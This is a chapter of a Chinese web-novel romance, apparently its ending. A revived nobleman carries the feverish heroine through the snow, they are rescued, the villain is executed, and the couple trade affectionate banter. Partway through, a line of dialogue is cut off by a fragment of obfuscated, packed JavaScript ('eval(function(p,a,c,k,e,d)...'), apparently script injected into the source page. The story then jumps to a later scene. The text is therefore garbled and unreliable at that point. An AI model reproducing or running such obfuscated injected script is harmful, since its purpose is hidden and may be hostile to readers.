她身上还裹着他的狐裘,但面上浮现出了不正常的红。 此刻他也顾不得思索自己为何会死而复生,匆忙伸出手朝她额头上探去。 他的手冰凉,触碰上她额间温度时,被烫得微微瑟缩。 烧得好严重,若是不及时医治,只怕会烧得失了神智。 地上冰凉潮湿,他将她从地上抱起来,搂进怀里,趁着手还冰凉,覆在她额间降温。 她舒服得呓语一声,“唔......” 虽不知皇城司如今是否已经将邬镇庭带进京中的叛军拿下,但继续待在此地不是办法。 就算身后还有追兵,他如今伤势恢复,也暂时不惧了。 将狐裘给她系好,又将兜帽给她戴上,他弯腰将她背起来。 雪已经停了,树木、泥石、血迹都被尽数掩盖。 鲜有人迹的山崖下,邬涟走了许久,仍旧是一望无际的雪白。 他抬头打量了一下天色,应当快要正午了,可身后的人却烧得越发昏沉,原本还偶尔呓语几声,可现下一点声响都没有。 他的心被狠狠揪着,害怕她真的睡过去再也醒不来,只好一边走一边与她说话。 “现下不要睡,等回去之后再好好睡,好吗?” “我现在伤势都痊愈了,也不知为何。” “从前是我不好,我早早便心悦你,却一直冷着你,是我胆小,不敢承认自己的心意,你若是生气,想让我如何我都好。” 他零零碎碎说了许多。将他能想到的都说了一遍。 可身后人依旧没有回应。 眼前有些模糊,邬涟明白,那是他的眼泪。 从他记事起,他几乎没有哭过,他的情绪较之旁人也淡上许多。很少有事能叫他心绪波动。 但遇见她以后,他的喜怒哀乐,在他还未曾意识到自己心意时,就已经全部被她掌控。 从山崖坠下,自己死之时,他尚且没有感觉到害怕,只是担心,担心她往后该怎么过,担心她若是被人欺负又当如何,担心若是裴砚之后变了心,她又该怎么办。 关于她的事,他有太多担忧和不舍,甚至来不及恐惧自己的死亡。 可此刻,他真真切切体会到了恐惧是如此可怖的东西。 像一把锉刀,不会叫你太疼痛,但会让你无时无刻都在惧怕当中渡过,并且随着时间的推移,那股不安和恐惧越发强烈。 更让他难以接受的是,明明该死的是他,但他却偏偏活过来,要亲眼目睹她可能再也醒不过来的事实。 锥心刺骨,不过如此。 背上的人,手指动了动。 叶冬知脑子一片混沌,呼出的热气将她裹在兜帽中的脸蒙上一层薄汗。 眼皮沉重得睁不开,只听见一只蚊子一直在她耳边嗡嗡嗡地叫唤。 她好像记得自己摔下山崖后受了不轻的伤,但所幸没死,她用了系统给的奖励,以为邬涟会活过来,但她守到快天明也没有见他有起死回生的迹象。 想来,他是真的死了。 那她呢? 冰天雪地中,加上失血过多,她估计也快死了。 但她现在居然还有意识。不过应当是幻觉吧,又或者是死前走马灯。 要不然,她怎么还能隐约听见邬涟的声音。 真可惜,还有次回现代的机会,不过她现在要死了,应当也用不上了。 “别睡......不要睡......” “别丢下我......好不好......” 有谁捧住了她的脸,一滴冰凉的东西落在她脸上。 有人在哭。 她挣扎着睁开眼皮,刺目的白让她立刻闭上了眼睛,缓了会之后,才看清面前的景象。 一张熟悉的脸占据了她整个视线,而这张脸的主人,正在哭。目光乞求又哀伤,破碎得让人心折。 果真是幻觉,邬涟都死了,怎么还会哭。 而且就算他活着,也肯定不会哭,毕竟他临死前那么重的伤都没掉过一颗眼泪。 她无趣地想,却听得面前的人带着失而复得的狂喜道,“醒了就好、醒了就好,我们会走出去的,我在,我在。” 叶冬知伸手触了触他脸上的泪水,温热的,面前的人,皮肤也是温热的。 愣了许久,她才反应过来,她还没死。不仅如此,邬涟也还活着。 手顿时被他紧紧握住,她迷惘迟钝地看着他,开口沙哑至极,“......你活了?” 像是突然想起什么,她又喃喃自语,“对了,看来有效果。” 邬涟一眨不眨地盯着她,不愿意错过她脸上任何一分细节。无边的恐惧和滔天的情思,终于在此刻有了寄托的源头。 他再也无法控制喷薄的爱意,低头在她唇边落下极尽缱绻和珍惜的一吻,颤抖着嗓音道,“不要再睡过去了,我好害怕,答应我好吗?” 叶冬知与他四目相对,只觉心口软得一塌糊涂,低低应了声,“嗯。” “但是我好困,你要一直与我说话。” 她闷声,浑身酸软无力,勉强维持着这仅有的清明。 “好,好。” 不知又走了多久,从头至尾,邬涟的声音便没停过,她在他背后趴着,用尽全力支撑着那濒临崩溃的意志。 直到一片雪白之中出现了几个小黑点,慢慢地,小黑点越来越近。 原来是长安与庄三带着一队弟兄终于寻到了邬涟与叶冬知二人。 长安脸上疲惫不堪,但神情激动不已,眼含热泪,“公子,还好你们还活着,我与弟兄们搜寻了整整一夜,以为......” 余光扫到邬涟毫发无伤的模样,长安眼神震惊: “对了,公子你的毒?” 邬涟却没心思回答他的问题,只说,“身上带药没,她发起了高热,快不行了。” 闻言,庄三立刻从随身的药瓶中掏出一颗药丸,递到邬涟手中,“这是镇痛解热丸,只能暂时将小姐体温降下来,治不了根本。” “无妨。”邬涟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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长安走后,邬涟掀帘进了马车,他垂眸落在榻上熟睡的人身上,目光如水温柔。 她伤势不重,只是有些失血过多,加上受了寒凉,才导致高热不退,精心修养,会慢慢好起来。 他单膝跪在榻边,在她额间珍而又珍地落下虔诚一吻。 从今往后,他与她之间,再不会有任何阻碍。 三日后。 东城门斩首邬镇庭等人,城门处围了乌泱泱一群人,邬镇庭脸上被砸满了烂菜叶和臭鸡蛋。 百姓义愤填膺,难以置信。 谁承想这样一个保家卫国的大英雄,到头来,是个彻彻底底的烂人呢。 养了三日,叶冬知的烧已经退了,身上的伤也处理过了,勉强能够下地。 邬涟扶着她在廊下透气,今日晴空万里,积雪都已缓缓消融。 她问,“你不去看看吗,这是你与他最后的一面了。” 他默了默,“没什么可看的。” 她也没戳破,换了个话题,“记得再过几日,便是阿玉的头七了,你答应我要好好安葬他。” 邬涟没什么情绪“嗯”了一声,被她听出来,她无奈道: “还吃醋吗?我跟你说过了我为何那样对他的,更何况,若不是他,你我哪能逃得出来。” 他回身搂住她,弯腰将头埋在她脖颈间,“我知道,我只是不喜欢你唤他‘阿玉’,你唤我都未曾这样亲近。” “那你想我怎么唤你?” “名字,还是你的字?” 他吻了吻她的耳垂,引得她一颤,低声在她耳边说了两字。 叶冬知的脸刹那涨红,瞪了他一眼,“真不害臊!我还没答应嫁给你呢。” (正文完)